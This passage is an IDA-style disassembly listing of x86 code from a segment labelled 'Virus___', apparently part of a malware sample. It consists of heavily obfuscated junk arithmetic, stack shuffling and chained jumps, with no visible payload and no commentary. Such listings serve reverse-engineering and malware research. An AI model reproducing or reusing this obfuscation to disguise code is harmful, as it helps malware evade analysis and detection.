		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4


loc_5532D4:				; CODE XREF: Virus___:0054F8F8j
					; Virus___:0055C30Aj
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		jmp	loc_556CEF
; ---------------------------------------------------------------------------


loc_5532E3:				; CODE XREF: Virus___:0055AF72j
		push	4982h
		push	esp
		pop	dword ptr [esp]
		push	4A68h
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_556047
; ---------------------------------------------------------------------------


loc_553302:				; CODE XREF: Virus___:0055D4BEj
		push	7DB23E76h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55E86D
; ---------------------------------------------------------------------------


loc_553315:				; CODE XREF: Virus___:00554CEFj
		sub	esi, ecx
		pop	ecx
		add	eax, 588978D5h
		add	eax, esi
		push	ecx
		mov	ecx, 588978D5h
		sub	eax, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 20C67282h
		add	eax, 5AF24CF2h
		add	eax, ebx
		sub	eax, 5AF24CF2h
		push	1D85h
		mov	[esp], ecx
		mov	ecx, 37D63918h
		sub	ecx, 35B866DBh
		sub	ecx, 1D0E765Ch
		add	ecx, 1
		or	ecx, 3F8E297Fh
		shr	ecx, 5
		jmp	loc_55D638
; ---------------------------------------------------------------------------


loc_55336F:				; CODE XREF: Virus___:0055AD8Aj
		sub	edx, 6FB71CCCh
		add	edx, esi
		add	edx, 6FB71CCCh
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561C7F
; ---------------------------------------------------------------------------


loc_55338D:				; CODE XREF: Virus___:005638E0j
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55EB29
; ---------------------------------------------------------------------------


loc_553398:				; CODE XREF: Virus___:0055EA65j
		push	2812h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	ebx
		mov	ebx, 7C9104E2h
		not	ebx
		sub	ebx, 836EFB1Bh
		mov	ebp, ebx
		pop	ebx
		sub	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55B0C4
; ---------------------------------------------------------------------------


loc_5533DD:				; CODE XREF: Virus___:00555634j
		add	esp, 4
		jmp	loc_558F83
; ---------------------------------------------------------------------------


loc_5533E8:				; CODE XREF: Virus___:0054FB8Bj
		add	al, bh
		mov	bx, [esp]
		push	43ABh
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		jmp	loc_5525D1
; ---------------------------------------------------------------------------


loc_553403:				; CODE XREF: Virus___:00558F1Bj
		add	ebx, 591C7C70h
		add	ebx, esi
		sub	ebx, 591C7C70h
		pop	esi
		sub	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5550E1
; ---------------------------------------------------------------------------


loc_553426:				; CODE XREF: Virus___:0055C137j
		mov	edx, 3DCE450Bh
		and	edx, 53F51A06h
		dec	edx
		add	edx, 331F5743h
		sub	ecx, edx
		pop	edx
		add	ecx, ebp
		add	ecx, 44E35744h
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	4
		pop	ebx
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55DC66
; ---------------------------------------------------------------------------


loc_553466:				; CODE XREF: Virus___:005639A0j
		sub	eax, 41FC2DC6h
		sub	eax, 727113D1h
		pop	edx
		sub	eax, 900A1A08h
		mov	edx, eax
		pop	eax
		jmp	loc_5534C8
; ---------------------------------------------------------------------------


loc_55347E:				; CODE XREF: Virus___:0055EDFFj
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, 2D94532Eh
		sub	ebx, esi
		jmp	loc_55BD84
; ---------------------------------------------------------------------------


loc_553491:				; CODE XREF: Virus___:00557883j
		pop	esp
		mov	[esp], eax
		mov	eax, 7E546E91h
		xor	eax, 2D402EF6h
		sub	eax, 0E8F6CC76h
		jmp	loc_5646BC
; ---------------------------------------------------------------------------


loc_5534A9:				; CODE XREF: Virus___:00561AD3j
		mov	esi, 770F4A70h
		jmp	loc_553DA7
; ---------------------------------------------------------------------------


loc_5534B3:				; CODE XREF: Virus___:0055F566j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5516F3
; ---------------------------------------------------------------------------


loc_5534BE:				; CODE XREF: Virus___:005609D7j
		shr	edi, 2
		not	edi
		jmp	loc_55AAAF
; ---------------------------------------------------------------------------


loc_5534C8:				; CODE XREF: Virus___:00553479j
		or	edx, 6626805h
		shl	edx, 3
		shr	edx, 7
		push	eax
		jmp	loc_550242
; ---------------------------------------------------------------------------


loc_5534DA:				; CODE XREF: Virus___:00557718j
		push	esi
		jmp	loc_55742F
; ---------------------------------------------------------------------------


loc_5534E0:				; CODE XREF: Virus___:0055F3D9j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	eax
		push	5FA4h
		mov	[esp], esp
		jmp	loc_554ABB
; ---------------------------------------------------------------------------


loc_553506:				; CODE XREF: Virus___:00557292j
		mov	ebx, edx
		jmp	loc_552778
; ---------------------------------------------------------------------------


loc_55350D:				; CODE XREF: Virus___:005551CFj
		add	edx, 3D1226DEh
		sub	edx, edi
		jmp	loc_55557C
; ---------------------------------------------------------------------------


loc_55351A:				; CODE XREF: Virus___:00550D69j
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55A41F
; ---------------------------------------------------------------------------


loc_553536:				; CODE XREF: Virus___:00550256j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_552427
; ---------------------------------------------------------------------------


loc_553545:				; CODE XREF: Virus___:00551A93j
		add	edi, 24E67B63h
		add	edi, 47F97713h
		not	edi
		sub	edi, 0BB6C494Eh
		jmp	loc_563D24
; ---------------------------------------------------------------------------


loc_55355E:				; CODE XREF: Virus___:00551BD6j
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_55DE3C
; ---------------------------------------------------------------------------


loc_55356F:				; CODE XREF: Virus___:0055CFC0j
		mov	ebx, edx
		pop	edx
		jmp	loc_561820
; ---------------------------------------------------------------------------


loc_553577:				; CODE XREF: Virus___:00564CACj
		mov	esp, [esp]
		movsx	ecx, ax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_55DA8E
; ---------------------------------------------------------------------------


loc_5535A5:				; CODE XREF: Virus___:00551650j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_563DCD
; ---------------------------------------------------------------------------


loc_5535BC:				; CODE XREF: Virus___:00561657j
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 20713C53h
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5640BD
; ---------------------------------------------------------------------------


loc_5535D7:				; CODE XREF: Virus___:00553B01j
		push	0B1Eh
		mov	[esp], edx
		push	edi
		push	eax
		push	15E23FB2h
		pop	eax
		not	eax
		sub	eax, 0FFFFFFFFh
		push	5AD9h
		mov	[esp], edi
		push	ebp
		mov	ebp, 8AE5D7BFh
		mov	edi, ebp
		jmp	loc_552651
; ---------------------------------------------------------------------------


loc_553601:				; CODE XREF: Virus___:00557F0Dj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_551DE4
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		jmp	loc_552EA2
; ---------------------------------------------------------------------------


loc_553615:				; CODE XREF: Virus___:00564985j
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55927E
; ---------------------------------------------------------------------------


loc_55362B:				; CODE XREF: Virus___:0055FD5Cj
		push	ebx
		mov	bl, 0F2h
		sub	bl, 0B9h
		neg	bl
		or	bl, 0Eh
		or	bl, 5Fh
		xor	bl, 0E2h
		add	dl, bl
		jmp	loc_55B1F5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	21A3h
		mov	[esp], ebx
		push	6598h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 2A226D79h
		jmp	loc_561698
; ---------------------------------------------------------------------------


loc_55366A:				; CODE XREF: Virus___:0055271Bj
		mov	esi, ebx
		jmp	loc_54FD30
; ---------------------------------------------------------------------------


loc_553671:				; CODE XREF: Virus___:00554DADj
		xor	esi, eax
		pop	eax
		mov	edx, esi
		pop	esi
		jmp	loc_55E8FF
; ---------------------------------------------------------------------------


loc_55367C:				; CODE XREF: Virus___:0055B658j
		add	dword ptr [esp], 4
		pop	eax
		push	2311h
		jmp	loc_550111
; ---------------------------------------------------------------------------


loc_55368B:				; CODE XREF: Virus___:0055047Ej
		push	0D81h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55245F
; ---------------------------------------------------------------------------


loc_5536A1:				; CODE XREF: Virus___:0055595Fj
		xchg	dl, bl
		inc	bl
		push	0
		sub	[esp], bl
		mov	bl, [esp]
		add	esp, 4
		jmp	loc_559C5E
; ---------------------------------------------------------------------------


loc_5536B8:				; CODE XREF: Virus___:0055CD98j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_555FCD
; ---------------------------------------------------------------------------


loc_5536DF:				; CODE XREF: Virus___:00560928j
		mov	esi, 5BD26207h
		xor	[esp+4], esi
		pop	esi
		pop	eax
		sub	esp, 4
		jmp	loc_5515C0
; ---------------------------------------------------------------------------


loc_5536F5:				; CODE XREF: Virus___:005610CFj
		sub	esi, 2C5B8Dh
		mov	ecx, esi
		pop	esi
		sub	ebx, ecx
		jmp	loc_55C50C
; ---------------------------------------------------------------------------


loc_553705:				; CODE XREF: Virus___:0055DC2Dj
		mov	eax, 2
		jmp	loc_556EC0
; ---------------------------------------------------------------------------


loc_55370F:				; CODE XREF: Virus___:00559DF3j
		sub	bl, 5Fh
		add	bl, 5Dh
		jmp	loc_550008
; ---------------------------------------------------------------------------


loc_55371A:				; CODE XREF: Virus___:00551A76j
		push	edx
		push	13114BD1h
		jmp	loc_55096D
; ---------------------------------------------------------------------------


loc_553725:				; CODE XREF: Virus___:005502D9j
		pop	esp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55372B:				; CODE XREF: Virus___:00559CE7j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_552953
; ---------------------------------------------------------------------------


loc_55373A:				; CODE XREF: Virus___:00550EB3j
		push	esi
		jmp	loc_55763C
; ---------------------------------------------------------------------------


loc_553740:				; CODE XREF: Virus___:0055A27Fj
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_550FE7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 59B1048Fh
		xor	esi, 59B1048Bh
		jmp	loc_5516A0
; ---------------------------------------------------------------------------


loc_553771:				; CODE XREF: Virus___:00561CDAj
		push	ecx
		mov	ecx, 62E06D55h
		jmp	loc_558127
; ---------------------------------------------------------------------------


loc_55377C:				; CODE XREF: Virus___:0055EB6Bj
		add	esp, 4
		jmp	loc_554CC1
; ---------------------------------------------------------------------------


loc_553784:				; CODE XREF: Virus___:0055699Cj
		xor	edi, 0ADFB1B92h
		sub	edx, 2D2A6454h
		sub	edx, edi
		push	ebp
		mov	ebp, 2D2A6454h
		add	edx, ebp
		pop	ebp
		jmp	loc_554260
; ---------------------------------------------------------------------------


loc_5537A0:				; CODE XREF: Virus___:00556294j
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	941h
		mov	[esp], edx
		jmp	loc_55C461
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_560049
; ---------------------------------------------------------------------------


loc_5537C7:				; CODE XREF: Virus___:005561F8j
		pop	esp
		pop	ebx
		jmp	loc_558366
; ---------------------------------------------------------------------------


loc_5537CE:				; CODE XREF: Virus___:00558F59j
		mov	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_55F1D3
; ---------------------------------------------------------------------------


loc_5537D8:				; CODE XREF: Virus___:00551663j
		push	ecx
		mov	cl, 0E7h
		push	ebx
		mov	bh, cl
		mov	dh, bh
		pop	ebx
		pop	ecx
		sub	cl, 0E7h
		add	cl, dh
		add	cl, 0E7h
		mov	dx, [esp]
		add	esp, 2
		add	cl, 3
		jmp	loc_557F29
; ---------------------------------------------------------------------------


loc_5537F9:				; CODE XREF: Virus___:00560067j
		dec	edx
		shr	edx, 1
		xor	edx, 5BEE2C84h
		add	edx, 90BABACh
		add	ecx, 68E57B3h
		add	ecx, edx
		jmp	loc_556B45
; ---------------------------------------------------------------------------


loc_553815:				; CODE XREF: Virus___:00564651j
		mov	ecx, esp
		push	7144h
		mov	[esp], eax
		mov	eax, 51F237A6h
		shr	eax, 3
		neg	eax
		jmp	loc_55AF35
; ---------------------------------------------------------------------------


loc_55382E:				; CODE XREF: Virus___:00558ECAj
		sub	ebp, esi
		jmp	loc_5514D0
; ---------------------------------------------------------------------------


loc_553835:				; CODE XREF: Virus___:00561FE2j
		xor	eax, ecx
		push	71A4h
		jmp	loc_55CDAD
; ---------------------------------------------------------------------------


loc_553841:				; CODE XREF: Virus___:00558E1Bj
		push	ecx
		mov	ecx, 2A484395h
		not	ecx
		push	eax
		push	edi
		mov	edi, 0
		mov	eax, edi
		pop	edi
		jmp	loc_55E8C1
; ---------------------------------------------------------------------------


loc_553858:				; CODE XREF: Virus___:0055C2A1j
		dec	ebx
		shr	ebx, 5
		sub	ebx, 63217B12h
		xor	ebx, 9E07481Ch
		mov	eax, ebx
		pop	ebx
		jmp	loc_55722D
; ---------------------------------------------------------------------------


loc_553870:				; CODE XREF: Virus___:00556D5Fj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_564116
; ---------------------------------------------------------------------------


loc_55387C:				; CODE XREF: Virus___:005547EBj
		add	ecx, 257C6AD5h
		jmp	loc_55BF99
; ---------------------------------------------------------------------------


loc_553887:				; CODE XREF: Virus___:0055F2B3j
		push	eax
		add	dword ptr [esp], 21AC372Eh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_551E7F
; ---------------------------------------------------------------------------


loc_55389A:				; CODE XREF: Virus___:00560442j
		sub	bl, 16h
		sub	cl, bl
		jmp	loc_55F48F
; ---------------------------------------------------------------------------


loc_5538A4:				; CODE XREF: Virus___:00554B71j
		inc	ebx
		add	ebx, 0B17D54EAh
		xor	edi, ebx
		pop	ebx
		sub	ebx, edi
		pop	edi
		mov	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556405
; ---------------------------------------------------------------------------


loc_5538C4:				; CODE XREF: Virus___:005502F5j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_561529
; ---------------------------------------------------------------------------


loc_5538D2:				; CODE XREF: Virus___:00552F4Ej
		push	eax
		mov	eax, 284F4274h
		sub	ebx, eax
		pop	eax
		add	ebx, 202C74FEh
		sub	ebx, edx
		sub	ebx, 202C74FEh
		add	ebx, 284F4274h
		pop	edx
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 19DE1498h
		add	eax, edi
		add	eax, 19DE1498h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_553928:				; CODE XREF: Virus___:005608F4j
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		jmp	loc_555CF6
; ---------------------------------------------------------------------------


loc_553933:				; CODE XREF: Virus___:0056252Bj
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_557F6B
; ---------------------------------------------------------------------------


loc_55394A:				; CODE XREF: Virus___:005568E8j
		add	ebp, eax
		sub	ebp, 506F78EAh
		push	ecx
		mov	ecx, 5F325DC6h
		sub	ebp, ecx
		jmp	loc_5528BE
; ---------------------------------------------------------------------------


loc_55395F:				; CODE XREF: Virus___:005544E4j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55396D:				; CODE XREF: Virus___:0054FA73j
		add	esp, 4
		jmp	loc_559CC0
; ---------------------------------------------------------------------------
		push	edi
		push	esp
		jmp	loc_5643A5
; ---------------------------------------------------------------------------


loc_55397C:				; CODE XREF: Virus___:00564BE3j
		sub	edi, 6E2C2838h
		add	edi, ebx
		add	edi, 6E2C2838h
		push	esi
		mov	esi, 74C3566h
		jmp	loc_5600F1
; ---------------------------------------------------------------------------


loc_553995:				; CODE XREF: Virus___:00554D51j
		mov	[esp], ebx
		jmp	loc_55B1DC
; ---------------------------------------------------------------------------


loc_55399D:				; CODE XREF: Virus___:005628D6j
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		jmp	loc_557AC3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	5207h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		mov	edx, 32F24364h
		add	edx, 182E37DEh
		push	ecx
		mov	ecx, 2DA57A4Ah
		push	edx
		mov	edx, 3B314D09h
		jmp	loc_54FD0D
; ---------------------------------------------------------------------------


loc_5539DD:				; CODE XREF: Virus___:0055B48Fj
		mov	esi, 39033CCDh
		xor	esi, 611B0A0Dh
		inc	esi
		neg	esi
		inc	esi
		sub	esi, 6937C6A7h
		sub	ebx, esi
		pop	esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 430D05E1h
		shl	ebx, 6
		sub	ebx, 1FC61460h
		add	ebx, 1ED41455h
		shr	ebx, 5
		or	ebx, 33C72987h
		jmp	loc_553017
; ---------------------------------------------------------------------------


loc_553A1F:				; CODE XREF: Virus___:00560ECEj
		mov	edi, 6C8A1A99h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ebp, 5
		shr	ebp, 8
		sub	esp, 4
		jmp	loc_55A337
; ---------------------------------------------------------------------------


loc_553A3D:				; CODE XREF: Virus___:00558494j
		push	2A1Ch
		mov	[esp], ebx
		mov	bl, 6Bh
		mov	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		jmp	loc_55CB4A
; ---------------------------------------------------------------------------


loc_553A61:				; CODE XREF: Virus___:0055830Aj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55018C
; ---------------------------------------------------------------------------


loc_553A6A:				; CODE XREF: Virus___:00552211j
		push	ecx
		jmp	loc_55263D
; ---------------------------------------------------------------------------


loc_553A70:				; CODE XREF: Virus___:00554160j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1AEF2D72h
		push	eax
		jmp	loc_55F0C0
; ---------------------------------------------------------------------------


loc_553A81:				; CODE XREF: Virus___:0055A667j
		xchg	esi, ecx
		sub	esp, 4
		jmp	loc_555625
; ---------------------------------------------------------------------------


loc_553A8E:				; CODE XREF: Virus___:00559572j
		push	edx
		mov	edx, 2463EDCh
		add	edx, 0FFFFFFFFh
		shr	edx, 3
		push	eax
		mov	eax, 48C7D9h
		sub	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		jmp	loc_55AB88
; ---------------------------------------------------------------------------


loc_553AAB:				; CODE XREF: Virus___:0055AC19j
		mov	[esp], eax
		mov	eax, 4
		add	dword ptr [esp+4], 0DB17A0Fh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 0DB17A0Fh
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 38A1090Ah
		jmp	loc_5640C8
; ---------------------------------------------------------------------------


loc_553AE6:				; CODE XREF: Virus___:0055E147j
		push	771E30C7h
		jmp	loc_5641E0
; ---------------------------------------------------------------------------


loc_553AF0:				; CODE XREF: Virus___:00561209j
		pop	esp
		or	ecx, ecx
		jz	loc_55E82A
		push	7EDFh
		mov	[esp], esp
		jmp	loc_5535D7
; ---------------------------------------------------------------------------


loc_553B06:				; CODE XREF: Virus___:0054FF2Dj
		push	ebp
		jmp	loc_55C1EE
; ---------------------------------------------------------------------------


loc_553B0C:				; CODE XREF: Virus___:00557BC8j
		add	ebp, edi
		jmp	loc_557269
; ---------------------------------------------------------------------------


loc_553B13:				; CODE XREF: Virus___:0055C7EEj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_5596DA
; ---------------------------------------------------------------------------


loc_553B35:				; CODE XREF: Virus___:00555B54j
		mov	ch, 0E6h
		jmp	loc_55CAA6
; ---------------------------------------------------------------------------


loc_553B3C:				; CODE XREF: Virus___:005512F5j
		mov	ebx, 67792B86h
		jmp	loc_55AA23
; ---------------------------------------------------------------------------


loc_553B46:				; CODE XREF: Virus___:0055E1F7j
		push	eax
		mov	eax, 24E66A50h
		push	edx
		jmp	loc_557F41
; ---------------------------------------------------------------------------


loc_553B52:				; CODE XREF: Virus___:0055940Aj
		or	ebp, edi
		pop	edi
		push	edi
		mov	edi, 72947C1Ch
		jmp	loc_563479
; ---------------------------------------------------------------------------


loc_553B60:				; CODE XREF: Virus___:005574EEj
		pop	ebx
		xor	ah, 2
		jmp	loc_560A31
; ---------------------------------------------------------------------------


loc_553B69:				; CODE XREF: Virus___:00557298j
		shl	edx, 6
		not	edx
		inc	edx
		or	edx, 131B762Dh
		xor	edx, 0BF7B76A9h
		jmp	loc_55156C
; ---------------------------------------------------------------------------


loc_553B80:				; CODE XREF: Virus___:00551DD1j
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5523E0
; ---------------------------------------------------------------------------


loc_553B93:				; CODE XREF: Virus___:00556E2Bj
		xor	edx, 3B65C7Fh
		sub	edi, 7EC85025h
		add	edi, edx
		jmp	loc_555F10
; ---------------------------------------------------------------------------


loc_553BA6:				; CODE XREF: Virus___:00554059j
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_55AEAE
; ---------------------------------------------------------------------------


loc_553BBA:				; CODE XREF: Virus___:00557408j
		add	edx, 39B304F2h
		sub	edx, 5DC20B6Dh
		add	edx, eax
		jmp	loc_561987
; ---------------------------------------------------------------------------


loc_553BCD:				; CODE XREF: Virus___:00555DF8j
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_551E47
; ---------------------------------------------------------------------------


loc_553BDD:				; CODE XREF: Virus___:0055CD54j
		sub	esp, 4
		jmp	loc_562E3C
; ---------------------------------------------------------------------------


loc_553BE5:				; CODE XREF: Virus___:00552C2Aj
		inc	edi
		and	edi, 1B0356F7h
		push	eax
		mov	eax, 0F8EF0053h
		sub	edi, 49C565FDh
		sub	edi, eax
		add	edi, 49C565FDh
		jmp	loc_54FF97
; ---------------------------------------------------------------------------


loc_553C05:				; CODE XREF: Virus___:00555685j
		sub	ecx, 6730C78h
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_559747
; ---------------------------------------------------------------------------


loc_553C1A:				; CODE XREF: Virus___:00558FF7j
		pop	edi
		push	6749h
		jmp	loc_562446
; ---------------------------------------------------------------------------


loc_553C25:				; CODE XREF: Virus___:00561A3Bj
		sub	bl, al
		push	dword ptr [esp]
		jmp	loc_55041E
; ---------------------------------------------------------------------------


loc_553C2F:				; CODE XREF: Virus___:0055904Bj
		and	edx, esi
		jmp	loc_560364
; ---------------------------------------------------------------------------


loc_553C36:				; CODE XREF: Virus___:0055F1F2j
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 53025404h
		mov	edx, eax
		jmp	loc_559855
; ---------------------------------------------------------------------------


loc_553C48:				; CODE XREF: Virus___:00560883j
		add	esp, 4
		push	esi
		mov	esi, 4E2C0BE9h
		sub	edx, 76840DBAh
		add	edx, esi
		add	edx, 76840DBAh
		pop	esi
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55DA6F
; ---------------------------------------------------------------------------


loc_553C8E:				; CODE XREF: Virus___:00551D11j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54F92B
; ---------------------------------------------------------------------------


loc_553C99:				; CODE XREF: Virus___:00562598j
		add	esp, 4
		jmp	loc_55B8FA
; ---------------------------------------------------------------------------


loc_553CA4:				; CODE XREF: Virus___:00554973j
		mov	ebx, 7C23CA18h
		sub	ebx, ecx
		pop	ecx
		xor	ebx, 7FFC63E3h
		jmp	loc_563D8B
; ---------------------------------------------------------------------------


loc_553CB7:				; CODE XREF: Virus___:00557132j
		and	eax, edi
		jmp	loc_562806
; ---------------------------------------------------------------------------


loc_553CBE:				; CODE XREF: Virus___:0055ECD4j
		push	0A9E6C50h
		pop	eax
		xor	eax, 0A9E6C50h
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_560B2E
; ---------------------------------------------------------------------------


loc_553CD3:				; CODE XREF: Virus___:0055B379j
		neg	ebp
		push	ecx
		push	eax
		mov	eax, 72A40092h
		push	edx
		mov	edx, eax
		mov	ecx, edx
		pop	edx
		pop	eax
		or	ecx, 46473268h
		add	ecx, 22EA5D20h
		sub	ebp, ecx
		pop	ecx
		inc	ebp
		not	ebp
		jmp	loc_55E23C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	0FFBh
		mov	[esp], esp
		jmp	loc_550AEA
; ---------------------------------------------------------------------------


loc_553D14:				; CODE XREF: Virus___:00553028j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561953
; ---------------------------------------------------------------------------


loc_553D1F:				; CODE XREF: Virus___:0055DF7Dj
		mov	eax, esp
		push	ebx
		mov	ebx, 212E7A30h
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		sub	ebx, 5FC81880h
		push	edx
		mov	edx, 5BED5C57h
		sub	edx, 2C780C6Bh
		and	ebx, edx
		jmp	loc_56373E
; ---------------------------------------------------------------------------


loc_553D45:				; CODE XREF: Virus___:0055A15Dj
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_553D4F:				; CODE XREF: Virus___:0055F083j
		pop	esp
		push	edx
		push	esp
		jmp	loc_55149A
; ---------------------------------------------------------------------------


loc_553D57:				; CODE XREF: Virus___:005542DFj
		and	edx, ecx
		pop	ecx
		jmp	loc_556D29
; ---------------------------------------------------------------------------


loc_553D5F:				; CODE XREF: Virus___:00556A66j
		mov	bl, 23h
		sub	bl, 43h
		push	ecx
		mov	ch, bl
		push	edx
		mov	dh, ch
		mov	al, dh
		pop	edx
		jmp	loc_55FB98
; ---------------------------------------------------------------------------


loc_553D72:				; CODE XREF: Virus___:00555AD0j
		mov	eax, esi
		pop	esi
		or	eax, 4FB05CF4h
		push	ebx
		push	3ECF343Dh
		pop	ebx
		push	ecx
		jmp	loc_55408A
; ---------------------------------------------------------------------------


loc_553D87:				; CODE XREF: Virus___:0055D8FBj
		add	ebp, esi
		sub	ebp, 47116E9Eh
		jmp	loc_5612FE
; ---------------------------------------------------------------------------


loc_553D94:				; CODE XREF: Virus___:00558171j
		add	esp, 4
		add	ebx, 0C6418318h
		add	eax, ebx
		jmp	loc_5585D9
; ---------------------------------------------------------------------------


loc_553DA7:				; CODE XREF: Virus___:005534AEj
		or	ecx, esi
		pop	esi
		jmp	loc_564821
; ---------------------------------------------------------------------------


loc_553DAF:				; CODE XREF: Virus___:0055CF91j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55E7BD
; ---------------------------------------------------------------------------


loc_553DC6:				; CODE XREF: Virus___:0055CA27j
		add	esp, 4
		push	639Fh
		jmp	loc_552D3D
; ---------------------------------------------------------------------------


loc_553DD6:				; CODE XREF: Virus___:005597A3j
		pop	edx
		push	small 236Dh
		mov	[esp], cx
		mov	ch, 63h
		sub	al, 60h
		add	al, ch
		jmp	loc_55206E
; ---------------------------------------------------------------------------


loc_553DEA:				; CODE XREF: Virus___:00563CF7j
		push	edx
		mov	edx, 50495DC2h
		sub	edx, 50495DBEh
